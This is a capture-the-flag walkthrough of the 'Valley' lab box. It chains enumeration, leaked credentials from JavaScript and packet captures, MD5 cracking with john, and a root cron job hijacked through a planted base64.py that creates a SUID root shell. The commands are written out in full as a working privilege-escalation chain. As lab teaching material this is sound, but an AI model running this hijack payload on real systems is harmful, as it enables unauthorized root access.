Valley Photo Co. is a medium Linux box that punishes credential reuse at every layer. The developer left a to-do note saying "remove this directory" in a static file slot. They didn't remove it. Everything else followed from that.


Initial Enumeration

Full port scan first — always. Non-standard ports don't show up in default scans.

nmap -p- --min-rate 5000 -T4 10.146.163.47 -oN valley_allports.txt
nmap -sC -sV -p 22,80,37370 -oN valley_services.txt 10.146.163.47

SSH on 22, Apache 2.4.41 on 80, vsFTPd 3.0.3 on 37370. The FTP port needs credentials — filed away.

Full port scan revealing non-standard FTP on 37370 Service scan confirming vsFTPd 3.0.3 on 37370 and Apache on 80

The web app is a photography portfolio. Two buttons: View Gallery and View Pricing. Page source references /js/art.js — a node.js ascii-art package with a known command injection vulnerability. It 404s here and doesn't factor into this chain, but worth noting that I checked.

Valley Photo Co. landing page Page source referencing /js/art.js

Gobuster with extension hunting:

gobuster dir -u http://10.146.163.47 -w /usr/share/wordlists/dirb/common.txt -x html,php,txt -o valley_gobuster.txt

Surfaces /gallery, /pricing, and /static with 301s. /static/ has directory listing enabled but appears empty. The gallery source shows images served from /static/1 through /static/18. Going one past the end to /static/00 returns something that isn't an image.

Gobuster results surfacing /static alongside /gallery and /pricing /static/ directory listing enabled but appearing empty

Information Disclosure — /static/00

Dev notes sitting in a numbered static slot the gallery never references:

dev notes from valleyDev:
-add wedding photo examples
-redo the editing on #4
-remove /dev1243224123123
-check for SIEM alerts

The developer left a reminder to remove a directory and didn't remove it. /dev1243224123123 is the next stop.

/static/00 dev notes revealing hidden directory path

Credentials in Client-Side JS

/dev1243224123123/ is a login portal. Page source references dev.js. The authentication logic and the credentials are in plaintext:

if (username === "siemDev" && password === "california") {
    window.location.href = "/dev1243224123123/devNotes37370.txt";
}

siemDev / california. The redirect target has the FTP port number in the filename, which isn't subtle. The dev notes at that path say "stop reusing credentials" and "change ftp port to normal port." They didn't do either.

/dev1243224123123 login portal dev.js containing siemDev/california credentials in plaintext devNotes37370.txt confirming stop reusing credentials advice ignored

FTP Access — PCAP Retrieval

FTP opens immediately with the JS credentials:

ftp 10.146.163.47 37370

Three files in the directory: siemFTP.pcapng, siemHTTP1.pcapng, siemHTTP2.pcapng. The FTP pcap is a red herring. siemHTTP2.pcapng is the one. Filtering for http in Wireshark and looking at POST requests surfaces credentials in plaintext:

uname=valleyDev
psw=ph0t0s1234

The dev notes said stop reusing credentials. They didn't listen.

FTP login as siemDev showing three pcap files siemHTTP2.pcapng in Wireshark revealing valleyDev credentials in plaintext POST

Initial Access — SSH as valleyDev

ssh valleyDev@10.146.163.47
SSH access confirmed as valleyDev

User flag retrieved. Standard privesc enumeration: no sudo rights for valleyDev, one custom cron entry running python3 /photos/script/photosEncrypt.py as root every minute. The script imports base64 — potentially hijackable if a writable path exists earlier in Python's search order. But valleyDev isn't in the valley group that owns the photos directory. Need to lateral move first.

User flag retrieved /etc/crontab showing python3 photosEncrypt.py running as root every minute photosEncrypt.py source importing base64 /photos/ directory owned by valley group — valleyDev has no access

Lateral Movement — valleyAuthenticator Binary

/home/ has an unexpected file: valleyAuthenticator, executable by everyone. Running it prompts for credentials — known ones fail. The real password is baked into the binary. Pull it locally:

scp valleyDev@10.146.163.47:/home/valleyAuthenticator ~/valleyAuthenticator
/home/ listing showing valleyAuthenticator binary scp pulling valleyAuthenticator to local machine

Initial strings output is garbage — UPX packed. Unpack first:

upx -d ~/valleyAuthenticator -o ~/valleyAuthenticator_unpacked
strings ~/valleyAuthenticator_unpacked | grep -B5 "Welcome"
UPX unpack — binary decompresses from 749KB to 2.2MB

Two MD5 hashes appear directly above the authentication strings:

e6722920bab2326f8217e4bf6b1b58ac
dd2921cc76ee3abfd2beb60709056cfb
strings output showing MD5 hashes above authentication strings
echo "e6722920bab2326f8217e4bf6b1b58ac" > hashes.txt
echo "dd2921cc76ee3abfd2beb60709056cfb" >> hashes.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

John returns valley and liberty123.

John cracking both MD5 hashes — valley and liberty123
su valley
# password: liberty123
su valley confirmed — valleyAdmin group membership visible

valleyAdmin group. That's what was missing.


Privilege Escalation — Python Library Hijack via Cron

Python's module search order checks sys.path sequentially. If a malicious module exists earlier in that path than the real one, it gets imported instead. As valley, check whether valleyAdmin has write access to any path Python searches:

python3 -c "import sys; print(sys.path)"
ls -la /usr/lib/python3.8/

/usr/lib/python3.8/ is group-writable by valleyAdmin. photosEncrypt.py imports base64. Dropping a malicious base64.py here means root imports it on the next cron tick.

echo 'import os; os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")' > /usr/lib/python3.8/base64.py
/usr/lib/python3.8/ writable by valleyAdmin — malicious base64.py planted
watch -n 5 ls -la /tmp/rootbash

SUID rootbash appears within a minute.

watch confirms /tmp/rootbash with SUID bit after cron fires
/tmp/rootbash -p
cat /root/root.txt
rootbash -p drops root shell, root flag retrieved

Full Attack Chain

full port scan → non-standard FTP (37370) + Apache (80)
→ /static/00 dev notes → hidden dir /dev1243224123123
→ dev.js credentials (siemDev/california) → FTP access
→ siemHTTP2.pcapng → plaintext SSH creds (valleyDev/ph0t0s1234)
→ SSH → user flag
→ cron: root runs photosEncrypt.py (imports base64) every minute
→ valleyAuthenticator binary → UPX unpack → MD5 hashes → john
→ su valley (liberty123) → valleyAdmin group
→ writable /usr/lib/python3.8/ → malicious base64.py
→ cron fires → SUID rootbash → root flag